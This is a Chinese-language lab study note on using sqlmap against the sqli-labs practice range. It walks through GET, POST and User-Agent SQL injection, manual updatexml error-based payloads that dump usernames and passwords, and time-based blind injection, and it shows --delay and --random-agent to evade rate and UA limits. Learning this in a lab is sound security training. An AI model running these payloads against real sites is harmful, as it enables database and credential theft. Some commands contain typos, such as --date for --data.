NSATP-A学习笔记之Day3-5sqlmap-参数使用

Posted 火星上烤鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSATP-A学习笔记之Day3-5sqlmap-参数使用相关的知识,希望对你有一定的参考价值。

sqlmap-参数使用

开启实验环境

实验介绍

sqlmap-基础实验

实验目的

  • 练习sqlmap各种参数

实验环境

  • 目标机:window server 2008
  • 目标机: sql-lab靶场

实验内容

  • sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。
  • 它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
  • sqlmap支持mysql, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
  • sqlmap支持五种不同的注入模式:
注入秒速
基于布尔的盲注即可以根据返回页面判断条件真假的注入;
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询注入,可以使用union的情况下的注入;
堆查询注入,可以同时执行多条语句的执行时的注入。

get方式注入

测试sqlmap参数,库+表+字段+数据。

测试 payload 
sqlmap -u http://192.168.232.220/sqli-labs-master/Less-2/?id=1

获取所有数据库:

sqlmap -u http://192.168.232.220/sqli-labs-master/Less-2/?id=1 --dbs

获取 security 库下的表

sqlmap -u "http://192.168.232.222/sqli-labs-master/Less-2/?id=1" -D security -T users --tables

获取users表下的字段,需要使用 --hex 参数

sqlmap -u "http://192.168.232.222/sqli-labs-master/Less-2/?id=1" -D security -T users --columns --hex

获取 users表下的所有数据

sqlmap -u "http://192.168.232.222/sqli-labs-master/Less-2/?id=1" -D security -T users --columns --dump 

post方式注入

第一步 使用burp抓取post数据包,并将数据包保存

第二步 更改数据包,使用*设置注入点

第三步 使用-r指定文本进行注入

第四步 获取数据库信息

python sqlmap.py -r post.txt -f --banner --current-db
python sqlmap.py -r post.txt -D security -T users -C id,username,password --dump

方法二:使用 --data 参数

 sqlmap -u "http://192.168.232.224/sqli-labs-master/Less-11/" --date="uname=admin&passwd=admin" 

user-agent注入

第一步 我们输入正确的用户名和密码的时候,后台会将User Agent返回到屏幕上。

第二步 首先我们打开burp suite拦截,将网页提交的Request Headers保存到一个文本header.txt中。


第三步 然后打开sqlmap执行如下命令:sqlmap -r header.txt --batch

其中我们要将User-Agent改为*

sqlmap -r header.txt  -D security -T users --columns --dump

第四步 使用手工注入

  • 获取当前数据库信息
' or updatexml(1, concat('#', database()), 0), 1, 1) #

  • 查当前数据库下都有哪些数据表
' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #

  • users表的字段
' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0), 1, 1) #

  • 查询users表的所有值
' or updatexml(1, concat('#', (select group_concat(username,'|',password) from users)), 0), 1, 1) #

时间延时盲注

第一步 判断注入点

?id=1" and 1=1 --+ 
?id=1" and 1=2 --+   返回的结果一模一样。
无法判断id的类型,于是使用:
?id=1" and sleep(5) --+   发现网站返回页面有明显的延迟。



第二步 使用Intruder获取数据库长度,发现数据库名称长度是8

?id=1" and if(length(database())=1, sleep(5), 1) --+


第三步 获取数据库名,

?id=1"  and if( ascii(substr(database(), 1, 1))=115, sleep(5),1) --+
通过取出的字母的assic值,判断字母
由上一步得知数据库长度是8




第四步 获得security下的表是四张

?id=1" and if((select count(*) from information_schema.tables where table_schema="security")=1, sleep(5), 1) --+


第五步 获得第四个表名的长度

?id=1" and if(length(select table_name from information_schema.tables where table_schema="security" limit 3, 1)=1, sleep(5), 1) --+

第五步 获得第四个表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3, 1), 1, 1))=101, sleep(5), 1) --+

使用sqlmap进行延时

--time-sec 6

限制了同一个IP的请求间隔,间隔2秒,请求速度快会提示

  • 需要sqlmap用–delay=2.5参数来利用
    python sqlmap.py -u "http://172.16.12.2/req.php?id=1" --delay=2.5

  • 获取所有库

    python sqlmap.py -u "http://172.16.12.2/req.php?id=1" --delay=2.5 --dbs

  • 获取 tips 库的数据

限制了ua,post提交数据,直接—data攻击会失败,需要执行ua或者用–random-agent参数

  • 使用burp拦包,保存到文件 random.txt

  • 使用 --random-agent 参数测试

    python sqlmap.py -r random.txt --random-agent -v 2

  • 获取 tips 库的数据

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

以上是关于NSATP-A学习笔记之Day3-5sqlmap-参数使用的主要内容,如果未能解决你的问题,请参考以下文章

NSATP-A学习笔记之Day1

NSATP-A学习笔记之Day2-6hydra爆破

NSATP-A学习笔记之Day2-1webshell介绍

NSATP-A学习笔记之Day4-5实战2

NSATP-A学习笔记之Day2-5burp爆破

NSATP-A学习笔记之Day3-4常见注入类型